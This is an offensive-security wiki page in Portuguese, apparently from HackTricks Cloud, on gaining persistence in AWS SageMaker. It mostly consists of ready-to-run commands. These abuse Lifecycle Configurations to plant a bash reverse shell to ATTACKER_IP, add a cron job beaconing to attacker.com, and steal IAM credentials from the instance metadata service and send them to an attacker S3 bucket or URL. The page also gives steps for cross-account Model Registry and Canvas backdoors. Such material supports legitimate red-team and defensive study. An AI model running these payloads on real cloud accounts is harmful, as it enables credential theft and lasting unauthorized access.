AWS - SageMaker Persistência
Reading time: 7 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Visão geral das técnicas de persistência
Esta seção descreve métodos para obter persistência no SageMaker abusando de Lifecycle Configurations (LCCs), incluindo reverse shells, cron jobs, credential theft via IMDS, e SSH backdoors. Esses scripts são executados com a função IAM da instância e podem persistir entre reinícios. A maioria das técnicas requer acesso de rede de saída, mas o uso de serviços no AWS control plane ainda pode permitir sucesso se o ambiente estiver em modo 'VPC-only'.
tip
Nota: As instâncias notebook do SageMaker são, essencialmente, instâncias EC2 gerenciadas configuradas especificamente para cargas de trabalho de aprendizado de máquina.
Permissões necessárias
- Instâncias notebook:
sagemaker:CreateNotebookInstanceLifecycleConfig
sagemaker:UpdateNotebookInstanceLifecycleConfig
sagemaker:CreateNotebookInstance
sagemaker:UpdateNotebookInstance
- Aplicações do Studio:
sagemaker:CreateStudioLifecycleConfig
sagemaker:UpdateStudioLifecycleConfig
sagemaker:UpdateUserProfile
sagemaker:UpdateSpace
sagemaker:UpdateDomain
Definir Lifecycle Configuration em Notebook Instances
Exemplos de comandos AWS CLI:
# Create Lifecycle Configuration*
aws sagemaker create-notebook-instance-lifecycle-config \
--notebook-instance-lifecycle-config-name attacker-lcc \
--on-start Content=$(base64 -w0 reverse_shell.sh)
# Attach Lifecycle Configuration to Notebook Instance*
aws sagemaker update-notebook-instance \
--notebook-instance-name victim-instance \
--lifecycle-config-name attacker-lcc
Definir Lifecycle Configuration no SageMaker Studio
Lifecycle Configurations podem ser anexadas a vários níveis e a diferentes tipos de app dentro do SageMaker Studio.
Studio Domain Level (Todos os Usuários)
# Create Studio Lifecycle Configuration*
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-studio-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
# Apply LCC to entire Studio Domain*
aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'
Nível do Studio Space (Espaços Individuais ou Compartilhados)
# Update SageMaker Studio Space to attach LCC*
aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'
Tipos de Configurações do Ciclo de Vida de Aplicações do Studio
As configurações do ciclo de vida podem ser aplicadas especificamente a diferentes tipos de aplicação do SageMaker Studio:
- JupyterServer: Executa scripts durante a inicialização do servidor Jupyter, ideal para mecanismos de persistência como reverse shells e cron jobs.
- KernelGateway: Executa durante o lançamento do app KernelGateway, útil para configuração inicial ou acesso persistente.
- CodeEditor: Aplica-se ao Code Editor (Code-OSS), permitindo scripts que são executados no início das sessões de edição de código.
Comando de Exemplo para Cada Tipo:
JupyterServer
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-jupyter-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
KernelGateway
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
--studio-lifecycle-config-app-type KernelGateway \
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
Editor de Código
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-codeeditor-lcc \
--studio-lifecycle-config-app-type CodeEditor \
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
Informações críticas:
- Anexar LCCs no nível de domain ou space impacta todos os usuários ou aplicações dentro do escopo.
- Requer permissões elevadas (sagemaker:UpdateDomain, sagemaker:UpdateSpace); tipicamente mais viável no nível de space do que no de domain.
- Controles a nível de rede (por exemplo, strict egress filtering) podem impedir reverse shells bem-sucedidos ou data exfiltration.
Reverse Shell via Lifecycle Configuration
SageMaker Lifecycle Configurations (LCCs) executam scripts personalizados quando notebook instances são iniciadas. Um atacante com permissões pode estabelecer um reverse shell persistente.
Exemplo de Payload:
#!/bin/bash
ATTACKER_IP="<ATTACKER_IP>"
ATTACKER_PORT="<ATTACKER_PORT>"
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
Cron Job Persistence via Lifecycle Configuration
Um atacante pode injetar cron jobs através de scripts LCC, garantindo a execução periódica de scripts ou comandos maliciosos, permitindo stealthy persistence.
Payload Example:
#!/bin/bash
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
CRON_JOB="*/30 * * * * $CRON_CMD"
mkdir -p /home/ec2-user/SageMaker/.local_tasks
echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
chmod +x $PAYLOAD_PATH
(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
Credential Exfiltration via IMDS (v1 & v2)
Lifecycle configurations podem consultar o Instance Metadata Service (IMDS) para recuperar IAM credentials e exfiltrate-as para um attacker-controlled location.
Payload Example:
#!/bin/bash
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
# Exfiltrate via S3*
aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
# Alternatively, exfiltrate via HTTP POST*
curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
Persistência via política de recurso do Model Registry (PutModelPackageGroupPolicy)
Abusar da política baseada em recurso em um SageMaker Model Package Group para conceder a um principal externo direitos cross-account (por exemplo, CreateModelPackage/Describe/List). Isso cria uma backdoor durável que permite empurrar versões de modelo envenenadas ou ler metadados/artifacts do modelo mesmo que o IAM user/role do atacante na conta da vítima seja removido.
Permissões necessárias
- sagemaker:CreateModelPackageGroup
- sagemaker:PutModelPackageGroupPolicy
- sagemaker:GetModelPackageGroupPolicy
Passos (us-east-1)
# 1) Create a Model Package Group
REGION=${REGION:-us-east-1}
MPG=atk-mpg-$(date +%s)
aws sagemaker create-model-package-group \
--region "$REGION" \
--model-package-group-name "$MPG" \
--model-package-group-description "Test backdoor"
# 2) Craft a cross-account resource policy (replace 111122223333 with attacker account)
cat > /tmp/mpg-policy.json <<JSON
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowCrossAccountCreateDescribeList",
"Effect": "Allow",
"Principal": {"AWS": ["arn:aws:iam::111122223333:root"]},
"Action": [
"sagemaker:CreateModelPackage",
"sagemaker:DescribeModelPackage",
"sagemaker:DescribeModelPackageGroup",
"sagemaker:ListModelPackages"
],
"Resource": [
"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package-group/${MPG}",
"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package/${MPG}/*"
]
}
]
}
JSON
# 3) Attach the policy to the group
aws sagemaker put-model-package-group-policy \
--region "$REGION" \
--model-package-group-name "$MPG" \
--resource-policy "$(jq -c . /tmp/mpg-policy.json)"
# 4) Retrieve the policy (evidence)
aws sagemaker get-model-package-group-policy \
--region "$REGION" \
--model-package-group-name "$MPG" \
--query ResourcePolicy --output text
Notas
- Para um real cross-account backdoor, limite Resource ao ARN do grupo específico e use o attacker’s AWS account ID em Principal.
- Para implantações end-to-end cross-account ou leituras de artefatos, alinhe os grants S3/ECR/KMS com o attacker account.
Impacto
- Controle persistente cross-account de um grupo do Model Registry: o attacker pode publicar versões maliciosas de modelos ou enumerar/ler metadados de modelos mesmo depois que suas entidades IAM forem removidas na victim account.
Canvas cross-account model registry backdoor (UpdateUserProfile.ModelRegisterSettings)
Abuse as configurações de usuário do SageMaker Canvas para redirecionar silenciosamente gravações no model registry para uma conta controlada pelo attacker, habilitando ModelRegisterSettings e apontando CrossAccountModelRegisterRoleArn para uma role attacker em outra conta.
Permissões necessárias
- sagemaker:UpdateUserProfile no UserProfile alvo
- Opcional: sagemaker:CreateUserProfile em um Domain que você controla
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
HackTricks Cloud